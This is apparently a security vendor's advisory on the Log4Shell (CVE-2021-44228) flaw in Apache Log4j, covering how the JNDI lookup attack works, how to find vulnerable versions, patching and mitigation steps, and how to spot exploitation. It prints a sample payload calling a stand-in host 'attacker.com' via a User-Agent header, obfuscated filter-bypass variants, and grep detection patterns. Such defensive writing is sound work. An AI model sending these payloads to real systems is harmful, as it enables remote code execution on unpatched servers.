Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Vulnerability Research

Log4Shell (Log4j) Vulnerability: What It Is and How to Remediate It

Log4Shell (CVE-2021-44228) is one of the most critical vulnerabilities in software history. This guide explains how it works, how to detect if you're affected, and the complete remediation steps.

Offensive360 Security Research Team — min read
Log4j Log4Shell CVE-2021-44228 Java JNDI injection RCE remediation

Log4Shell (CVE-2021-44228) is a critical remote code execution vulnerability in Apache Log4j 2, one of the most widely used Java logging libraries. Discovered in December 2021, it affects an enormous portion of the Java ecosystem — from enterprise applications to cloud services, embedded systems, and consumer software.

The vulnerability was rated CVSS 10.0 — the maximum possible severity — and allows unauthenticated attackers to execute arbitrary code on vulnerable systems with minimal effort.

What Is Log4Shell?

Log4j 2 introduced a feature called Message Lookup Substitution that processes special ${...} patterns embedded in logged strings. This includes ${jndi:...} lookups — which trigger JNDI (Java Naming and Directory Interface) requests to remote servers.

If an attacker can get a string like ${jndi:ldap://attacker.com/a} into any log message, the Log4j library automatically reaches out to the attacker’s LDAP server and executes whatever Java class is returned.

The attack surface is essentially unlimited: HTTP headers, user-agent strings, form fields, usernames, search queries — anything your application logs.

How the Exploit Works

1. Attacker sends HTTP request with malicious payload in User-Agent:
   User-Agent: ${jndi:ldap://attacker.com/exploit}

2. Application logs the User-Agent string (normal behavior):
   logger.info("Request from: " + request.getHeader("User-Agent"));

3. Log4j processes the ${jndi:...} lookup and connects to attacker.com:443

4. Attacker's LDAP server returns a reference to a malicious Java class

5. Log4j deserializes and executes the class — attacker has RCE

The exploit requires no authentication, no existing foothold, and works even when the logged value is deeply nested — ${${lower:j}ndi:...} bypasses naive string-matching filters.

CVE Timeline

CVECVSSDescription
CVE-2021-44228 (Log4Shell)10.0JNDI lookup RCE in Log4j 2.0-beta9 to 2.14.1
CVE-2021-450469.0Incomplete fix in 2.15.0 — context lookup bypass
CVE-2021-451057.5DoS via infinite recursion in lookup
CVE-2021-448326.6RCE via attacker-controlled JDBC appender config

Am I Affected?

You are potentially affected if your application:

  1. Uses Java
  2. Uses Log4j 2 (any version from 2.0-beta9 to 2.17.0 is vulnerable to at least one CVE)
  3. Logs any string that could contain user-controlled data

Log4j 1.x is not affected by Log4Shell but has its own critical vulnerabilities (CVE-2019-17571, CVE-2022-23302) and has reached end of life — migrate away from it.

Finding Log4j in Your Project

# Maven
mvn dependency:tree | grep log4j

# Gradle
gradle dependencies | grep log4j

# Search JAR files in your application directory
find /opt/app -name "*.jar" -exec unzip -p {} META-INF/MANIFEST.MF \; 2>/dev/null | grep -i log4j

# Check for log4j JARs directly
find / -name "log4j-core-*.jar" 2>/dev/null

# Inside fat JARs (Spring Boot, etc.)
jar tf your-app.jar | grep log4j

Finding Log4j in Dependencies (Indirect)

Many applications include Log4j transitively through frameworks like Spring, Hibernate, Elasticsearch, or Apache Solr. Run a full dependency scan:

# Using OWASP Dependency Check
dependency-check --project "MyApp" --scan . --out ./report

# Using Syft + Grype
syft . | grype

Remediation Steps

Step 1: Upgrade Log4j (Primary Fix)

Upgrade to Log4j 2.17.1 or later (2.12.4 for Java 7, 2.3.2 for Java 6).

<!-- Maven — pom.xml -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.23.1</version> <!-- Latest stable as of 2026 -->
</dependency>
// Gradle — build.gradle
dependencies {
    implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
}

// Force override transitive dependency versions
configurations.all {
    resolutionStrategy.force 'org.apache.logging.log4j:log4j-core:2.23.1'
}

Step 2: If You Cannot Upgrade Immediately

For Log4j 2.10 and above — set the system property to disable message lookup:

# Add JVM flag
-Dlog4j2.formatMsgNoLookups=true

# Or set environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

For all versions — remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note: These are mitigations, not fixes. Upgrade as soon as possible.

Step 3: Check Transitive Dependencies

If Log4j is pulled in by a framework, force an upgrade:

<!-- Maven — force log4j version in dependencyManagement -->
<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-bom</artifactId>
            <version>2.23.1</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
    </dependencies>
</dependencyManagement>

Step 4: Verify the Fix

// Test that the JNDI lookup no longer executes
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4ShellTest {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        // If vulnerable, this would reach out to example.com
        // After patching, it should log the literal string
        logger.info("${jndi:ldap://example.com/test}");
        System.out.println("If you see the literal string above in logs, you're patched.");
    }
}

Detection: Were You Exploited?

Check your logs for evidence of exploitation attempts:

# Search for JNDI lookup patterns in application logs
grep -r "\${jndi:" /var/log/
grep -r "\${.*jndi" /var/log/  # Obfuscated variants

# Common obfuscation patterns to look for
# ${${lower:j}ndi:...}
# ${${::-j}${::-n}${::-d}${::-i}:...}
# %24%7Bjndi%3A  (URL-encoded)

# Check for suspicious outbound connections during Dec 2021 - present
grep -E "ldap[s]?://|rmi://|dns://" /var/log/nginx/access.log

Also check for:

  • Unexpected outbound LDAP (port 389/636) or RMI (port 1099) connections in firewall logs
  • New processes spawned by your Java application (netcat, wget, curl, bash)
  • New cron jobs, SSH keys, or user accounts created around the time of the vulnerability disclosure

Long-Term Prevention

Add SAST/SCA to Your CI/CD Pipeline

Log4Shell was a known CVE in a public library. Automated dependency scanning would have flagged it immediately when it was disclosed:

# GitHub Actions — run OWASP Dependency Check on every PR
- name: OWASP Dependency Check
  uses: dependency-check/Dependency-Check_Action@main
  with:
    project: 'MyApp'
    path: '.'
    format: 'HTML'
    args: '--failOnCVSS 7'

Monitor for New CVEs

Subscribe to security advisories for your dependencies:

  • GitHub Dependabot — automated PRs for vulnerable dependencies
  • NIST NVD alerts for Java libraries you use
  • Apache Security Advisories — directly from the Log4j maintainers

Defense in Depth

Even if a Log4Shell-style vulnerability existed today, these controls would limit the blast radius:

  • Outbound network filtering — block unexpected LDAP/RMI outbound connections
  • Least privilege — application should not run as root; limit what an attacker can do with RCE
  • Runtime Application Self-Protection (RASP) — block JNDI execution at runtime
  • WAF rules — block ${jndi: in all incoming request data (not a substitute for patching)

Offensive360’s SCA scanning detects Log4j and thousands of other vulnerable dependencies in your codebase. Run a scan today to check your current exposure.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.